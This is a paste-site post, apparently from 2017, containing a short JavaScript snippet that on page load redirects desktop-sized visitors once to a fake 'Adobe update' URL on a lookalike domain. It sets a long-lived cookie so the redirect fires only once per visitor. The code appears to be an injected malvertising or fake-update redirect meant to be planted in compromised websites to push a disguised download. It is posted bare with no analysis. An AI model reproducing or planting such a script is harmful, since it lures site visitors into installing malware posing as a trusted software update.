Untitled


SUBMITTED BY: holier

DATE: June 27, 2017, 8:08 p.m.

FORMAT: Text only

SIZE: 944 Bytes

HITS: 793

  1. function redirect()
  2. {
  3. var thecookie = readCookie('doRedirect');
  4. if(!thecookie)
  5. {
  6. window.location = 'http://adobe-update-quick.download-adeplugin.net/?update_file_id=43878787767794&app=4300006545476857567665.565';
  7. }
  8. }
  9. function createCookie(name,value,days)
  10. {
  11. if (days)
  12. {
  13. var date = new Date();
  14. date.setTime(date.getTime()+(days*24*60*60*1000));
  15. var expires = "; expires="+date.toGMTString();
  16. }
  17. else var expires = "";
  18. document.cookie = name+"="+value+expires+"; path=/";
  19. }
  20. function readCookie(name)
  21. {
  22. var nameEQ = name + "=";
  23. var ca = document.cookie.split(';');
  24. for(var i=0;i < ca.length;i++)
  25. {
  26. var c = ca[i];
  27. while (c.charAt(0)==' ') c = c.substring(1,c.length);
  28. if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
  29. }
  30. return null;
  31. }
  32. window.onload = function()
  33. {
  34. if (screen.width >= 700) {
  35. redirect();
  36. createCookie('doRedirect','true','999');
  37. }
  38. }

comments powered by Disqus